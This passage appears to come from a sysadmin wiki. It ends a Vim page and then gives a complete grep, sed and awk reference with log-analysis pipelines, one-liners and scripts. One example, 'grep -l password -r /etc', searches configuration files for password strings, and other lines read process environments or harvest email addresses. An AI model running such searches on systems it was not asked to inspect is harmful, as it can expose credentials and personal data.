ends | CRLF file opened with `fileformat=unix` | `:e ++ff=dos` to reread, or `:%s/\r$//` to strip; `:set ff=unix` before writing | | `E492: Not an editor command` for a plugin command | Plugin not loaded, or load order | `:scriptnames`, `:packpath?`; in Neovim `:Lazy` or the manager's status view | `vim -V9/tmp/vimlog` traces every sourced line and autocommand into a file, which locates a plugin that changes an option behind your back; `:verbose set opt?` is the quicker check for one option. ## Further reading - [Vim user manual](https://vimhelp.org/usr_toc.txt.html): the task-oriented chapters; `:help user-manual` opens the same thing - [Vim reference: motions and text objects](https://vimhelp.org/motion.txt.html): the complete list with edge cases - [Vim reference: pattern syntax](https://vimhelp.org/pattern.txt.html): the regex flavour, `\v`, and multi-line matching - [Neovim: differences from Vim](https://neovim.io/doc/user/vim_diff.html): defaults, removed features and added mappings - [Neovim: Lua guide](https://neovim.io/doc/user/lua-guide.html): configuring options, mappings and autocommands from `init.lua` --- # grep, sed and awk > Filter, edit and summarise text from the shell with grep, sed, awk, sort, uniq, cut, tr, paste, column and xargs, and build log-analysis pipelines that hold up. Canonical: https://www.wiki.jodisand.me/text-processing/ Reviewed: 2026-09-24 Related: [Regular expressions](https://www.wiki.jodisand.me/regex/index.md), [Bash](https://www.wiki.jodisand.me/bash/index.md), [Files and directories](https://www.wiki.jodisand.me/files/index.md), [Shell one-liners](https://www.wiki.jodisand.me/oneliners/index.md), [jq](https://www.wiki.jodisand.me/jq/index.md) ## Cheatsheet | Task | Command | | --- | --- | | Lines matching, case-insensitive, with line numbers | `grep -in 'error' app.log` | | Recursive, only filenames, skip `.git` | `grep -rl --exclude-dir=.git 'TODO' .` | | Fixed string, not a regex | `grep -F '[main]' config.ini` | | Invert match, count | `grep -vc '^#' file` | | Only the matched part | `grep -oE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' access.log` | | Context around a match | `grep -B2 -A5 'panic' app.log` | | Replace on every line, in place, with backup | `sed -i.bak 's/old/new/g' file` | | Delete lines matching | `sed '/^\s*#/d' file` | | Print lines 10 to 20 | `sed -n '10,20p' file` | | Print between two patterns | `sed -n '/BEGIN/,/END/p' file` | | Sum a column | `awk '{s += $3} END {print s}' file` | | Rows where a column exceeds a value | `awk -F, '$4 > 500' data.csv` | | Count by field | `awk '{c[$1]++} END {for (k in c) print c[k], k}' file \| sort -rn` | | Print the last field | `awk '{print $NF}' file` | | Frequency table | `sort file \| uniq -c \| sort -rn \| head` | | Sort by the second column numerically | `sort -k2,2n file` | | Columns 1 and 3 of a CSV | `cut -d, -f1,3 data.csv` | | Uppercase, squeeze repeated spaces | `tr 'a-z' 'A-Z' < file`, `tr -s ' '` | | Join two files side by side | `paste -d, a.txt b.txt` | | Align output into columns | `column -t -s,` | | Run a command per line, in parallel | `xargs -P8 -I{} cmd {}` | | NUL-safe filename handling | `find . -name '*.log' -print0 \| xargs -0 gzip` | | Characters, words, lines | `wc -c`, `wc -w`, `wc -l` | Behaviour below is GNU grep 3.11, GNU sed 4.9, GNU awk (gawk) 5.3 and GNU coreutils 9.x as shipped on Fedora and RHEL 9. macOS and Alpine ship BSD or BusyBox variants with fewer options; the differences that bite are called out. References: the [GNU grep](https://www.gnu.org/software/grep/manual/grep.html), [GNU sed](https://www.gnu.org/software/sed/manual/sed.html) and [gawk](https://www.gnu.org/software/gawk/manual/gawk.html) manuals. ## Which tool `grep` selects lines. `sed` edits lines in a single pass with a tiny state machine. `awk` splits lines into fields and gives you variables, arrays, arithmetic and formatted output. Reach for the simplest one that does the job: a `grep | awk` pipeline is usually clearer than one awk program that does both, and an awk program with three arrays is usually clearer than the equivalent Python once you know awk. All three read stdin when given no file, so they compose. All three use regular expressions but not the same flavour. `grep` defaults to POSIX BRE, `-E` gives ERE and `-P` gives PCRE. `sed` also defaults to BRE with `-E` for ERE. awk always uses ERE. In BRE the characters `+ ? | ( ) { }` are literal unless escaped, so `grep 'a+'` matches a literal plus and `grep -E 'a+'` matches one or more `a`. See [Regular expressions](https://www.wiki.jodisand.me/regex/#flavours) for the full comparison. ## grep grep prints each line that matches a pattern. With several files it prefixes the filename; `-h` suppresses that and `-H` forces it. ```sh grep -n 'timeout' app.log # -n: line numbers grep -i 'warn' app.log # -i: case-insensitive grep -w 'error' app.log # -w: whole word; error but not errors grep -x 'ok' status.txt # -x: whole line grep -v '^$' file # -v: invert; drops empty lines grep -c 'GET' access.log # -c: count of matching lines (not matches) grep -l 'password' -r /etc 2>/dev/null # -l: filenames with a match; -L: filenames without grep -o '[0-9]\{3\}' file # -o: print only the matched text, one per line grep -m 5 'ERROR' app.log # -m: stop after 5 matches grep -q 'ready' status && echo up # -q: no output; exit status only grep -e '-v' -e 'foo' file # -e: patterns that start with a dash, or several patterns grep -f patterns.txt file # -f: one pattern per line from a file grep -F 'a.b[0]' file # -F: fixed strings, no regex; fastest grep -E 'error|fatal' app.log # -E: extended regex; alternation without backslashes grep -P '(?<=user=)\w+' -o app.log # -P: PCRE; lookbehind, \d, non-greedy grep -z -o 'BEGIN.*END' file # -z: NUL-separated records, so . spans newlines grep -A3 -B1 'Exception' app.log # context after and before; -C3 for both grep --color=always 'x' file | less -R # keep highlighting through a pager ``` Recursive search options: ```sh grep -r 'pattern' src/ # recurse; follows symlinks given on the command line only (-R follows all) grep -rn --include='*.go' 'context.TODO' . grep -rn --exclude='*.min.js' --exclude-dir={.git,node_modules,vendor} 'fetch(' . grep -rI 'pattern' . # -I: skip binary files grep -ra 'pattern' . # -a: treat binary as text (prints matched binary lines) ``` Exit status is 0 for a match, 1 for none, 2 for an error. `-q` exits on the first match, so it is also the fastest way to test for presence. `-s` hides errors about missing or unreadable files. The `-P` engine is the only one with lazy quantifiers, lookaround and `\d`. It refuses to run on files with invalid UTF-8 in a UTF-8 locale unless you add `-a` or set `LC_ALL=C`. `LC_ALL=C grep` is also several times faster on large ASCII logs because byte comparison replaces multibyte character handling. ## sed sed reads a line into the pattern space, runs every command whose address matches, prints the pattern space unless `-n` is set, and moves to the next line. That model explains almost everything: commands are cheap, the file is streamed, and anything that needs to look at two lines at once takes extra work. ### Substitution ```sh sed 's/old/new/' file # first occurrence per line sed 's/old/new/g' file # every occurrence sed 's/old/new/2' file # second occurrence only sed 's/old/new/gi' file # I or i: case-insensitive (GNU) sed 's|/usr/local|/opt|g' file # any delimiter; pick one not in the pattern sed -E 's/([0-9]+)-([0-9]+)/\2-\1/' file # -E: ERE with unescaped groups; \1 \2 backreferences sed 's/.*/"&"/' file # &: the whole match sed -E 's/\w+/\u&/g' file # \u: uppercase next character; \U...\E uppercase a span (GNU) sed 's/x/y/w changed.txt' file # w: write changed lines to a file sed 's/[[:space:]]+$//' file # POSIX class; in BRE + is literal, so this needs -E sed -E 's/[[:space:]]+$//' file # trailing whitespace removed ``` ### Addresses An address before a command restricts it to matching lines. Two addresses separated by a comma select a range from the first match to the next match of the second. ```sh sed -n '5p' file # line 5 sed -n '5,10p' file # lines 5 to 10 sed -n '$p' file # last line sed -n '/start/,/end/p' file # from a line matching start to the next matching end, inclusive sed '/^#/d' file # delete comment lines sed '1d' file # drop the header sed '/^$/d' file # drop blank lines sed -n '/error/!p' file # !: negate; lines not matching sed '0~2d' file # GNU: first~step; every second line starting at line 0 (even lines) sed '10,$d' file # from line 10 to end sed '/pattern/,+3d' file # GNU: the match and the three lines after it sed -n '/BEGIN/{n;p}' file # n: load the next line; print the line after each BEGIN ``` ### Other commands ```sh sed '3i\inserted before line 3' file sed '3a\appended after line 3' file sed '/marker/c\replacement line' file # c: replace the whole line sed 'y/abc/xyz/' file # transliterate, like tr sed '=' file | sed 'N;s/\n/\t/' # =: print line number; N appends the next line; joins them sed -n 'l' file # l: print unambiguously, escapes and $ at line end sed '$!N;s/\n/ /' file # join pairs of lines (N on every line but the last) sed ':a;N;$!ba;s/\n/,/g' file # slurp the file into one line, replacing newlines sed -e 's/a/b/' -e 's/c/d/' file # several scripts; or separate with ; sed -f edits.sed file # commands from a file sed -s -n '1p' *.log # -s: treat files separately so 1 means line 1 of each sed 's/a/b/;t;s/c/d/' file # t: branch to end if the last s succeeded ``` The pattern space and hold space (`h`, `H`, `g`, `G`, `x`) let sed carry state across lines, which is how `sed -n '1!G;h;$p'` reverses a file. Once a script needs the hold space, awk is usually clearer. ### In-place editing: GNU versus BSD GNU sed takes an optional suffix attached to `-i`; BSD sed (macOS, FreeBSD) requires a suffix argument, which may be an empty string. ```sh sed -i 's/old/new/g' file # GNU: edit in place, no backup sed -i.bak 's/old/new/g' file # GNU: backup to file.bak (no space before the suffix) sed -i '' 's/old/new/g' file # BSD: empty suffix, no backup (GNU would treat '' as the script) sed -i.bak 's/old/new/g' file # BSD: also works, and is the one form portable to both ``` `-i` writes a new file and renames it over the original, so it breaks hard links, follows symlinks only with `--follow-symlinks` (GNU) and resets ownership if you run as a different user than the owner. It does not honour `-n` in the way you might expect: `sed -n -i 'p' file` keeps the file, but `sed -n -i '/x/p' file` deletes every line that does not match. Test without `-i` first. BSD sed also lacks `\+`, `\|`, `\u`, `\U`, `I`, `0~2`, `addr,+N` and interprets `a`, `i` and `c` more strictly (they need a backslash and newline). For scripts that must run on both, stick to POSIX BRE with `-E` for ERE and avoid GNU extensions. ## awk awk splits each input record (a line by default) into fields `$1` to `$NF` on the field separator `FS` (runs of whitespace by default), then runs every `pattern { action }` pair whose pattern is true for that record. `BEGIN` runs before input and `END` after. A pattern without an action prints the record; an action without a pattern runs on every record. ```sh awk '{print $1, $3}' file # comma inserts OFS (a space); print $1 $3 concatenates awk -F: '{print $1}' /etc/passwd # -F: field separator; also a regex: -F'[:,]' awk -F'\t' -v OFS=',' '{$1 = $1; print}' file # TSV to CSV; assigning a field rebuilds $0 with OFS awk 'NR == 1' file # header only; NR: record number so far awk 'NR > 1' file # skip header awk 'NF' file # NF: number of fields; drops blank lines awk 'NF > 5' file # lines with more than five fields awk '$3 > 100' file # numeric comparison on a field awk '$1 == "GET" && $9 >= 500' access.log awk '/error/ && !/timeout/' file # regex patterns, combined awk '/start/,/end/' file # range pattern, like sed awk 'length($0) > 120' file # long lines awk '$2 ~ /^10\./' file # field matches regex; !~ negates awk 'NR % 100 == 0' file # every hundredth line awk 'END {print NR}' file # line count awk '{print NR": "$0}' file # number the lines awk '{print $NF}' file # last field; $(NF-1) second last awk '{$NF = ""; print}' file # drop the last field (leaves a trailing OFS) awk 'FNR == 1 && NR != 1 {next} 1' *.csv # concatenate CSVs keeping only the first header; FNR resets per file awk -v n=3 '{print $n}' file # -v: shell value into an awk variable, set before BEGIN awk '{print $1 > ($2 ".txt")}' file # split into files named by the second column ``` Uninitialised variables are `""` and `0` at once, so `c[$1]++` needs no setup. Strings compare as strings and numbers as numbers; a field that looks numeric compares numerically (`"10" > "9"` is false as strings, true as strnums). Force a string comparison with `$1 "" == "10"` or a numeric one with `$1 + 0 == 10`. ### Arrays awk arrays are associative with string keys. Iteration order is unspecified; pipe to `sort` or use gawk's `PROCINFO["sorted_in"]`. ```sh awk '{c[$1]++} END {for (k in c) print c[k], k}' access.log | sort -rn | head # count by first field awk '{s[$1] += $10} END {for (k in s) printf "%s %.1f MiB\n", k, s[k]/1048576}' access.log # bytes per client awk '!seen[$0]++' file # deduplicate keeping first occurrence and order awk '!seen[$2]++' file # unique by column 2 awk 'NR == FNR {a[$1]; next} $1 in a' keys.txt data.txt # lines of data.txt whose key is in keys.txt awk 'NR == FNR {m[$1] = $2; next} {print $0, m[$1]}' lookup.txt data.txt # join: append a looked-up value awk '{if ($3 > max[$1]) max[$1] = $3} END {for (k in max) print k, max[k]}' file # max per group awk '{n = split($0, parts, ","); print parts[n]}' file # split returns the count; last element awk 'BEGIN {PROCINFO["sorted_in"] = "@val_num_desc"} {c[$1]++} END {for (k in c) print c[k], k}' file # gawk: sorted iteration awk '{delete c; ...}' # delete the whole array (gawk and POSIX 2024) ``` `NR == FNR` is true only while reading the first file, which is the idiom for loading a lookup table before processing the second file. ### printf and formatting `printf` does not append a newline. Width and precision work as in C. ```sh awk '{printf "%-20s %8d %6.2f%%\n", $1, $2, $3 * 100}' file # left-justify 20, right-justify 8, two decimals awk '{printf "%s\t%s\n", toupper($1), substr($2, 1, 8)}' file awk 'BEGIN {printf "%5.1f\n", 1234567 / 1048576}' # 1.2 awk '{printf "%08.3f\n", $1}' file # zero-padded awk 'BEGIN {OFMT = "%.2f"} {print $1 / 3}' file # OFMT: format for print of non-integer numbers awk '{print strftime("%F %T", $1)}' epochs.txt # gawk: epoch to date awk 'BEGIN {print mktime("2026 09 24 00 00 00")}' # gawk: date to epoch awk '{gsub(/"/, ""); print}' file # gsub: replace all in $0; sub: first only awk '{sub(/\r$/, ""); print}' file # strip CR awk 'BEGIN {IGNORECASE = 1} /error/' file # gawk: case-insensitive matching awk -F, 'BEGIN {OFS = ","} {print $2, $1}' file # swap columns awk 'BEGIN {FPAT = "([^,]+)|(\"[^\"]+\")"} {print $2}' quoted.csv # gawk: CSV fields with quoted commas awk --csv '{print $2}' quoted.csv # gawk 5.3+: proper CSV parsing including embedded newlines ``` String functions: `length(s)`, `substr(s, start, len)`, `index(s, t)`, `split(s, arr, sep)`, `sub(re, repl, target)`, `gsub`, `match(s, re)` (sets `RSTART` and `RLENGTH`), `tolower`, `toupper`, `sprintf`. gawk adds `gensub(re, repl, how, target)` with `\\1` backreferences, `patsplit`, `strftime`, `systime`, `mktime` and `asort`/`asorti`. Multi-line records: set `RS` to a blank line (`RS=""`) to treat paragraphs as records, with each line a field when `FS="\n"`. `RS` may be a regex in gawk. ```sh awk 'BEGIN {RS = ""; FS = "\n"} {print $1 " -> " NF " lines"}' blocks.txt ``` ## sort, uniq and friends `sort` is locale-aware; `LC_ALL=C sort` is byte order and much faster. `uniq` only collapses adjacent duplicates, so sort first. ```sh sort file # lexical, locale collation sort -n file # numeric sort -h file # human-readable sizes: 1K, 2M, 3G (GNU) sort -V versions.txt # version sort: 1.2.10 after 1.2.9 (GNU) sort -r file # reverse sort -u file # unique lines (on the whole line, or the key with -k) sort -k2,2n -k1,1 file # by column 2 numerically, then column 1; always give the end field sort -t, -k3,3nr data.csv # CSV, column 3, numeric, descending sort -t$'\t' -k2 file # tab-separated sort -s -k1,1 file # stable: equal keys keep input order sort -R file # random order (shuf is faster and does not group equal lines) sort -c file # check whether sorted; exit 1 and the first offending line if not sort -m a.sorted b.sorted # merge already-sorted inputs sort --parallel=8 -S 2G -T /var/tmp bigfile # threads, memory buffer, temp directory sort -z # NUL-terminated records for filenames ``` `-k2` without an end means "from field 2 to the end of the line", which is almost never intended. `-k2,2` is one field. `-n` on a key applies only to that key: `-k2,2n`. ```sh sort file | uniq # duplicates removed sort file | uniq -c # count each; count first, then the line sort file | uniq -d # only lines that appear more than once sort file | uniq -u # only lines that appear once sort file | uniq -c | sort -rn | head -20 # top 20 most frequent uniq -f1 file # ignore the first field when comparing uniq -i file # case-insensitive uniq -w 10 file # compare the first 10 characters only ``` `cut` extracts by delimiter or byte or character position. It cannot reorder fields or handle multi-character delimiters; use awk for those. ```sh cut -d: -f1,7 /etc/passwd # fields 1 and 7 cut -d, -f2- data.csv # field 2 to end cut -d, -f-3 data.csv # fields 1 to 3 cut -c1-10 file # characters 1 to 10 cut -b1-4 file # bytes cut -d, -f2 --complement data.csv # everything except field 2 (GNU) cut -d' ' -f1 --output-delimiter=, file cut -f1 file # default delimiter is TAB ``` Lines without the delimiter are printed whole unless `-s` is given. `cut` treats each delimiter as a field boundary, so runs of spaces produce empty fields; `tr -s ' '` first, or use awk. `tr` maps, squeezes or deletes characters. It works on characters, never strings. ```sh tr 'a-z' 'A-Z' < file # uppercase tr '[:lower:]' '[:upper:]' # locale-safe form tr -d '\r' < dos.txt > unix.txt # delete CR tr -d '[:punct:]' # delete punctuation tr -s ' ' < file # squeeze repeated spaces to one tr -s '[:space:]' '\n' # one word per line tr ':' '\n' <<< "$PATH" # split PATH tr -cd '[:alnum:]\n' < file # -c: complement; keep only alphanumerics and newlines tr '\0' '\n' < /proc/1/environ # NUL-separated to lines ``` `paste` joins files line by line, or serialises one file's lines. ```sh paste a.txt b.txt # side by side, tab-separated paste -d, a.txt b.txt # comma paste -sd, file # -s: serial; join all lines of one file with commas paste - - < file # two lines into one, tab-separated (each - is a stdin read) paste -d'\n' a.txt b.txt # interleave lines ``` `join` merges two sorted files on a common field like a SQL inner join; `comm` compares two sorted files line by line. ```sh join -t, -1 1 -2 2 <(sort -t, -k1,1 a.csv) <(sort -t, -k2,2 b.csv) # a.csv col 1 with b.csv col 2 join -a1 -e MISSING -o 0,1.2,2.2 a.txt b.txt # left join with a placeholder for unmatched comm -12 <(sort a) <(sort b) # lines in both comm -23 <(sort a) <(sort b) # lines only in a comm -13 <(sort a) <(sort b) # lines only in b ``` `column` formats into aligned columns. On Fedora and RHEL it is the util-linux version, which also emits JSON. ```sh column -t file # align on whitespace column -t -s, data.csv # CSV input column -t -s, -N NAME,SIZE,DATE data.csv # header names (util-linux) column -t -s, -J -N name,size data.csv # JSON output (util-linux) column -c 80 list.txt # fill columns to 80 characters wide mount | column -t ``` Other coreutils that turn up in pipelines: `head -n -5` (all but the last 5), `tail -n +2` (from line 2), `tail -F` (follow across rotation), `tac` (reverse lines), `rev` (reverse characters), `nl` (number lines), `fold -w 80 -s` (wrap at spaces), `fmt`, `expand`/`unexpand` (tabs), `shuf -n 10` (sample), `split -l 100000 big.log part-` (split into files), `numfmt --to=iec` (human sizes), `seq 1 10`, `wc -l`. ## xargs `xargs` reads items from stdin and runs a command with them as arguments, batching as many as fit. Without options it splits on whitespace and interprets quotes, which is wrong for filenames; use `-0` with `find -print0` or `-d '\n'` for line-oriented input. ```sh find . -name '*.log' -print0 | xargs -0 gzip # batches; NUL-safe xargs -d '\n' -I{} cp {} /backup/ < list.txt # one line per item; {} placeholder xargs -n1 echo < list.txt # one item per command xargs -n 50 rm -f < files.txt # 50 per command xargs -P 8 -I{} curl -fsS -o /dev/null -w '%{http_code} {}\n' {} < urls.txt # 8 in parallel xargs -r rm < maybe-empty.txt # -r: do nothing if input is empty (GNU; BSD default) xargs -t cmd < list.txt # -t: print each command before running it xargs -p rm < list.txt # -p: prompt before each command echo a b c | xargs -n1 -I{} sh -c 'echo "item: $1"' _ {} # shell logic per item; $1, not {}, inside the script cat urls.txt | xargs -P4 -n1 -- wget -q # -- ends xargs options ``` `-I` implies `-L 1` (one item per command) and disables `-n`. Output of parallel jobs interleaves; add `--process-slot-var` or write to per-item files when order matters. `xargs` exits 123 if any invocation returned 1 to 125, 124 if one exited 255, and 125 to 127 for its own failures. `find -exec cmd {} +` does the same batching without a pipe and is the portable choice when the input is a `find` result. GNU `parallel` adds job logs, retries and output grouping when `xargs -P` is not enough; it is a separate package. ## Log-analysis pipelines Start narrow with `grep`, then aggregate with `awk`, then rank with `sort | uniq -c | sort -rn`. Use `LC_ALL=C` on large files and avoid `cat file | grep` when `grep pattern file` does the same thing. Requests per status code from an nginx or Apache combined log (status is field 9, bytes field 10): ```sh awk '{c[$9]++} END {for (s in c) printf "%s %d\n", s, c[s]}' access.log | sort -k2,2rn ``` Top 20 client IPs, then the same restricted to 5xx responses: ```sh awk '{print $1}' access.log | sort | uniq -c | sort -rn | head -20 awk '$9 ~ /^5/ {print $1}' access.log | sort | uniq -c | sort -rn | head -20 ``` Requests per minute, to find a spike: ```sh awk -F'[][]' '{print substr($2, 1, 17)}' access.log | uniq -c | awk '{printf "%s %6d %s\n", $2, $1, substr("##################################################", 1, $1 / 50)}' ``` The `-F'[][]'` splits on either bracket so the timestamp is field 2; the timestamp's first 17 characters are `24/Sep/2026:14:03`, and because the log is already in time order, `uniq -c` counts without a sort. Bytes served per URL path, in MiB, top 10, ignoring the query string: ```sh awk '{split($7, u, "?"); b[u[1]] += $10} END {for (p in b) printf "%10.1f %s\n", b[p] / 1048576, p}' access.log | sort -rn | head ``` Slowest requests when the log ends with a request time in seconds (a custom `$request_time` field, here field 11), with the 95th percentile: ```sh awk '{print $11, $7}' access.log | sort -rn | head awk '{t[NR] = $11} END {n = asort(t); printf "p50 %.3f p95 %.3f p99 %.3f max %.3f\n", t[int(n * .5)], t[int(n * .95)], t[int(n * .99)], t[n]}' access.log # gawk asort ``` Errors per hour from the journal or a syslog-format file, and the distinct error messages with numbers and hex stripped so they group: ```sh journalctl -u my-app --since today -o short-iso | grep -i error | cut -c1-13 | uniq -c grep -i error app.log | sed -E 's/[0-9]+/N/g; s/0x[0-9a-f]+/0xH/g' | sort | uniq -c | sort -rn | head ``` Pull the block between a start and end marker for the request ID you care about, from a multi-line log: ```sh sed -n '/request_id=abc123/,/^--- end/p' app.log awk '/BEGIN TRANSACTION/ {buf = ""; keep = 0} {buf = buf $0 "\n"} /ERROR/ {keep = 1} /COMMIT|ROLLBACK/ {if (keep) printf "%s", buf}' db.log # only blocks containing an error ``` Unique users who logged in today from `auth.log` or `journalctl -t sshd`, and failed password sources ranked: ```sh journalctl -t sshd --since today | grep -oP 'Accepted \S+ for \K\S+' | sort -u journalctl -t sshd --since today | grep -oP 'Failed password for (invalid user )?\S+ from \K\S+' | sort | uniq -c | sort -rn | head ``` `\K` in a PCRE pattern discards everything matched before it from the `-o` output, which avoids a `cut` or `awk` stage. Follow a log and highlight without losing the rest of the lines: ```sh tail -F app.log | grep --line-buffered -E 'ERROR|WARN|$' # $ matches every line; only the keywords colour tail -F app.log | awk '/ERROR/ {print "\033[31m" $0 "\033[0m"; next} 1' ``` `grep` block-buffers when writing to a pipe, so `tail -F | grep | awk` shows nothing for a long time without `--line-buffered`. awk and sed have `fflush()` and `-u` respectively; `stdbuf -oL cmd` fixes most other tools. ## Oneliners ```sh # Count matching lines across many files and total them grep -c 'ERROR' *.log | awk -F: '{s += $2; print} END {print "total:", s}' # Files containing both patterns grep -lZ 'foo' -r . | xargs -0 grep -l 'bar' # Lines in file1 not in file2, regardless of order grep -vxFf file2 file1 # Print the line after each match, without the match grep -A1 'pattern' file | grep -v -e 'pattern' -e '^--$' # Extract every email address grep -oE '[[:alnum:]._%+-]+@[[:alnum:].-]+\.[[:alpha:]]{2,}' file | sort -u # Extract IPv4 addresses and rank them grep -oE '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b' file | sort | uniq -c | sort -rn # Search a compressed log without decompressing to disk zgrep -c 'ERROR' app.log.1.gz; zstdgrep 'ERROR' app.log.zst # Replace across a tree, only in files that match (avoids rewriting unchanged files) grep -rlZ 'old.example.com' src/ | xargs -0 sed -i 's/old\.example\.com/new.example.com/g' # Replace a path containing slashes using a different delimiter sed -i 's#/var/www/html#/srv/www#g' /etc/nginx/conf.d/*.conf # Change a key=value in a config file, only if the key exists uncommented sed -i -E 's/^(max_connections\s*=\s*).*/\1500/' postgresql.conf # Append a line after a matching line, once grep -q '^Include conf.d' sshd_config || sed -i '/^Port /a Include conf.d/*.conf' sshd_config # Comment out lines matching sed -i '/^PermitRootLogin/s/^/#/' sshd_config # Delete from a pattern to end of file sed -i '/^\[legacy\]/,$d' config.ini # Print the Nth line quickly (q stops reading) sed -n '1000{p;q}' bigfile # Strip ANSI escape sequences sed -E 's/\x1b\[[0-9;]*[A-Za-z]//g' coloured.log # Trim leading and trailing whitespace sed -E 's/^[[:space:]]+|[[:space:]]+$//g' file # Convert CRLF to LF and back sed -i 's/\r$//' file; sed -i 's/$/\r/' file # Sum a column of a CSV, skipping the header awk -F, 'NR > 1 {s += $3} END {printf "%.2f\n", s}' data.csv # Average of a column awk '{s += $1; n++} END {if (n) print s / n}' numbers.txt # Min and max of a column awk 'NR == 1 {min = max = $1} $1 < min {min = $1} $1 > max {max = $1} END {print min, max}' numbers.txt # Group by column 1 and sum column 2 awk '{s[$1] += $2} END {for (k in s) print k, s[k]}' file | sort # Print lines where a field is in a set awk 'BEGIN {split("GET POST", a); for (i in a) ok[a[i]]} $6 in ok' access.log # Transpose rows and columns awk '{for (i = 1; i <= NF; i++) m[i, NR] = $i; if (NF > nf) nf = NF} END {for (i = 1; i <= nf; i++) {row = ""; for (j = 1; j <= NR; j++) row = row (j > 1 ? " " : "") m[i, j]; print row}}' file # Print a column of a fixed-width file by character positions awk '{print substr($0, 10, 8)}' fixed.txt # Lines longer than 80 characters, with their numbers awk 'length > 80 {print FILENAME ":" FNR ": " length}' *.md # Sort a file by line length awk '{print length, $0}' file | sort -n | cut -d' ' -f2- # Deduplicate without sorting, keeping the first occurrence awk '!seen[$0]++' file # Random sample of 1% of lines awk 'BEGIN {srand()} rand() < 0.01' bigfile # Convert epoch timestamps in column 1 to ISO 8601 (gawk) awk '{$1 = strftime("%FT%T%z", $1)} 1' events.log # Human-readable sizes from du without -h (for sorting first) du -sk * | sort -rn | head | numfmt --field=1 --from-unit=1024 --to=iec # Top 10 processes by RSS, formatted ps -eo rss,comm --sort=-rss | head -11 | awk 'NR == 1 {print; next} {printf "%8.1f MiB %s\n", $1 / 1024, $2}' # Parse key=value logs into one field grep -oP 'duration=\K[0-9.]+' app.log | sort -n | tail -1 # Find the header column index by name, then print that column awk -F, -v col=status 'NR == 1 {for (i = 1; i <= NF; i++) if ($i == col) c = i; next} {print $c}' data.csv # Reverse fields on each line awk '{for (i = NF; i > 0; i--) printf "%s%s", $i, (i > 1 ? OFS : ORS)}' file # Join lines matching a prefix with the previous line (continuation lines) awk '/^[[:space:]]/ {printf "%s", $0; next} NR > 1 {print ""} {printf "%s", $0} END {print ""}' file # Words by frequency in a document tr -cs '[:alpha:]' '\n' < book.txt | tr 'A-Z' 'a-z' | sort | uniq -c | sort -rn | head -20 # Every second line, odd then even sed -n 'p;n' file; sed -n 'n;p' file # Rename files by regex: replace spaces with underscores find . -maxdepth 1 -name '* *' -print0 | xargs -0 -I{} sh -c 'mv -- "$1" "$(printf %s "$1" | tr " " _)"' _ {} # Check that every line has the same number of fields awk -F, '{c[NF]++} END {for (n in c) print n " fields: " c[n] " lines"}' data.csv # Diff two command outputs side by side diff -y --suppress-common-lines <(sort a.txt) <(sort b.txt) ``` ## Scripts Summarise an nginx combined-format access log: request count, error rate, top status codes, top paths and top clients, for one file or a glob including gzipped rotations. ```sh #!/usr/bin/env bash # usage: access-report.sh access.log [access.log.1 access.log.2.gz ...] set -euo pipefail (( $# )) || { echo 'usage: access-report.sh LOG...' >&2; exit 2; } read_logs() { for f in "$@"; do case $f in *.gz) zcat -- "$f" ;; *.zst) zstdcat -- "$f" ;; *) cat -- "$f" ;; esac; done; } export LC_ALL=C read_logs "$@" | awk ' { total++; status[$9]++; split($7, u, "?"); path[u[1]]++; client[$1]++ } $9 ~ /^5/ { err++ } END { printf "requests: %d 5xx: %d (%.2f%%)\n\n", total, err, total ? 100 * err / total : 0 print "status:"; for (s in status) printf " %s %d\n", s, status[s] | "sort -k2,2rn"; close("sort -k2,2rn") print "\ntop paths:"; for (p in path) printf " %7d %s\n", path[p], p | "sort -rn | head -15"; close("sort -rn | head -15") print "\ntop clients:"; for (c in client) printf " %7d %s\n", client[c], c | "sort -rn | head -15" }' ``` Bulk search-and-replace across a tree with a dry-run diff, so the change is reviewed before files are rewritten. Rewrites files only when run with `--apply`. ```sh #!/usr/bin/env bash # usage: bulk-replace.sh [--apply] 'regex' 'replacement' DIR [glob] set -euo pipefail apply=0; [[ ${1:-} == --apply ]] && { apply=1; shift; } (( $# >= 3 )) || { echo "usage: bulk-replace.sh [--apply] REGEX REPL DIR [GLOB]" >&2; exit 2; } re=$1 repl=$2 dir=$3 glob=${4:-*} mapfile -d '' files < <(grep -rlZ --include="$glob" --exclude-dir=.git -E -- "$re" "$dir") (( ${#files[@]} )) || { echo 'no files match' >&2; exit 0; } printf '%d file(s) match\n' "${#files[@]}" >&2 for f in "${files[@]}"; do if (( apply )); then sed -i -E -- "s/$re/$repl/g" "$f"; printf 'rewrote %s\n' "$f" else diff -u --label "$f" --label "$f (proposed)" "$f" <(sed -E -- "s/$re/$repl/g" "$f") || true fi done (( apply )) || echo 'dry run; re-run with --apply to write' >&2 ``` Watch a log and alert when the error rate over a sliding one-minute window exceeds a threshold, for a quick check during a deploy when nothing better is wired up. ```sh #!/usr/bin/env bash # usage: error-rate.sh /var/log/my-app/app.log [threshold-per-minute] set -euo pipefail log=${1:?log file required} threshold=${2:-20} tail -Fn0 -- "$log" | awk -v thr="$threshold" ' /ERROR/ { now = systime(); t[++n] = now while (n && t[1] < now - 60) { for (i = 2; i <= n; i++) t[i - 1] = t[i]; delete t[n--] } # drop entries older than 60 s if (n > thr && now - last_alert > 60) { printf "%s ALERT: %d errors in the last minute\n", strftime("%T"), n; fflush(); last_alert = now } }' ``` ## Troubleshooting | Symptom | Cause | Fix | | --- | --- | --- | | `grep: pattern+` matches a literal plus | BRE treats `+`, `?`, `\|`, `()` and `{}` as literals | `grep -E`, or escape as `\+` in GNU BRE | | `sed -i '' 's/a/b/' file` fails with `unknown command` on Linux | GNU `-i` takes the suffix attached; `''` became the script | `sed -i 's/a/b/' file`; portable form is `sed -i.bak` | | `sed -i 's/a/b/' file` on macOS complains `undefined label` or eats the script | BSD `-i` requires a suffix argument | `sed -i '' 's/a/b/' file` on BSD | | `sed: -e expression #1, char N: unknown option to s` | The replacement or pattern contains the delimiter (usually `/` in a path) | Use another delimiter: `s#/old#/new#` | | `\d`, `\w` do nothing in `sed` or `grep` | Not part of BRE or ERE; `\w` is a GNU extension, `\d` is not | `[0-9]`, `[[:digit:]]`, or `grep -P` | | Replacement inserts `$1` literally | sed uses `\1`, not `$1`; `-E` still needs `\1` | `sed -E 's/(x)/\1/'` | | `awk` prints the whole line when I asked for a field | `print $1 $3` concatenates; `$` missing on a variable name | `print $1, $3`; `print $n` not `print n` | | `awk -F,` splits quoted CSV fields containing commas | `-F` is a plain separator | `gawk --csv` (5.3+), `FPAT`, or a CSV-aware tool such as `mlr` or Python `csv` | | `sort 